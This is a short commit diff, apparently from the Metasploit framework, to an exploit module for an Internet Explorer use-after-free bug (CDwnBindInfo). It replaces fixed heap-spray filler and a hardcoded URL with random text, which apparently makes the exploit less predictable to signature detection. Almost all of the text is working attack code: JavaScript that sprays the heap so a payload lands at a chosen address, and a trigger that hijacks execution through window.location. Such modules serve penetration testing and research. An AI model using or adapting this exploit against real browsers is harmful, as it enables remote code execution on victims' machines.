Randomness

Author: sinn3r

modules/exploits/windows/browser/ie_cdwnbindinfo_uaf.rb

@@ -109,7 +109,7 @@ def get_target(agent)
 
 	def ie_heap_spray(my_target, p)
 		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
-		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+		js_nops = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4), Rex::Arch.endian(target.arch))
 
 		# Land the payload at 0x0c0c0b30
 		js = %Q|
@@ -125,7 +125,6 @@ def ie_heap_spray(my_target, p)
 		for (var i=1; i < 0x300; i++) {
 			heap_obj.alloc(block);
 		}
-		var overflow = nops.substring(0, 10);
 		|
 
 		js = heaplib(js, {:noobfu => true})
@@ -236,7 +235,7 @@ def load_exploit_html(my_target, cli)
 				arrObject[i].className = unescape("ababababababababababababababababababababa");
 			}
 			var eip = window;
-			var data = "https://www.google.com/settings/account";
+			var data = "#{Rex::Text.rand_text_alpha(41)}";
 			eip.location = unescape("%u0b30%u0c0c" + data);
 
 		}